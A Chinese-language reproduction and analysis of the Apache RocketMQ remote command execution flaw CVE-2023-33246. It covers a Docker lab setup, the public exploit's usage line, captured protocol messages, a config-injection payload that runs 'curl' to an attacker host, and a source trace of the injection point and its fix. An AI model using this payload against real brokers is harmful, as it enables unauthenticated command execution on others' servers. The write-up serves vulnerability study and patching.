CVE-2023-33246 RocketMQ RCE漏洞
一、RocketMQ简介
RocketMQ是一款纯java、分布式、队列模型的开源消息中间件,主要用于在分布式系统中进行异步消息传递,支持事务消息、顺序消息、批量消息、定时消息、消息回溯等功能。
RocketMQ有四个核心组成部分:
NameServer:RocketMQ的服务注册中心,用于保存Broker相关元信息;
Broker:消息存储中心,接收并存储Producer的消息,Consumer从此处获得信息,Master节点可写可读,Slave节点不可写只可读;
Producer:消息生产者;
Consumer:消息消费者。
二、漏洞影响范围
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
三、环境搭建
1、拉取镜像
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
2、启动namesrv
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
3、创建目录并配置broker文件
mkdir -p /mydata/rocketmq/conf/
vi /mydata/rocketmq/conf/broker.conf
粘贴以下内容
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = X.X.X.X #主机IP
4、启动broker和console
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv\
-e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876\
-Dcom.rocketmq.sendMessageWithVIPChannel=false"\
-t apacherocketmq/rocketmq-console:2.0.0
访问8899端口
成功访问
四、漏洞复现
EXP地址:
https://github.com/Serendipity-Lucky/CVE-2023-33246
命令:
java -jar CVE-2023-33246.jar -ip "目标IP" -cmd "需要执行的命令"
远程命令执行:
五、漏洞分析
1、数据交互过程
使用wireshark查看10.88.80.137(靶机)和10.88.80.119(攻击机)之间的数据传输:
首先是exp向NameServer请求Broker节点的信息:
{
"code": 105,
"extFields": {"topic": "TBW102"},
"flag": 0,
"language": "JAVA",
"opaque": 1,
"serializeTypeCurrentRPC": "JSON",
"version": 395
}
然后NameSever返回Broker节点信息:
{
"brokerDatas":[{
"brokerAddrs":{0: "10.88.80.137:10911"},
"brokerName":"broker-a",
"cluster":"DefaultCluster"
}],
"filterServerTable":{},
"queueDatas": [{
"brokerName":"broker-a",
"perm":7,
"readQueueNums":8,
"topicSysFlag":0,
"writeQueueNums":8
}]
}
这之后,EXP仿冒Console节点,访问NameSerber节点获取注册Broker数据,而不需要鉴权,且数据明文传输。
filterServerNums=1
rocketmqHome=-c $@|sh . echo curl http://10.88.80.119;
2、EXP分析
利用DefaultMQAdminExt未鉴权的特征,使用updateBrokerConfig函数将构建的payload向Broker节点发送。
3、源码分析
https://rocketmq.apache.org/download/ 选择下载4.9.1 Source版本。
updateBrokerConfig() -> getConfiguration().update() 链中没有对输入校验
exp打入一次后会一直执行,推测调用props为另一条链
搜索exec找到callShell
搜索callShell找到createFilterServer
其中buildStartCommand如下
在payload中,对rocketmqhome进行了赋值,故此处命令拼接造成远程命令执行。
六、修复方式
https://rocketmq.apache.org/download/ 选择下载4.9.6 Source版本。
直接把callShell删掉了
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!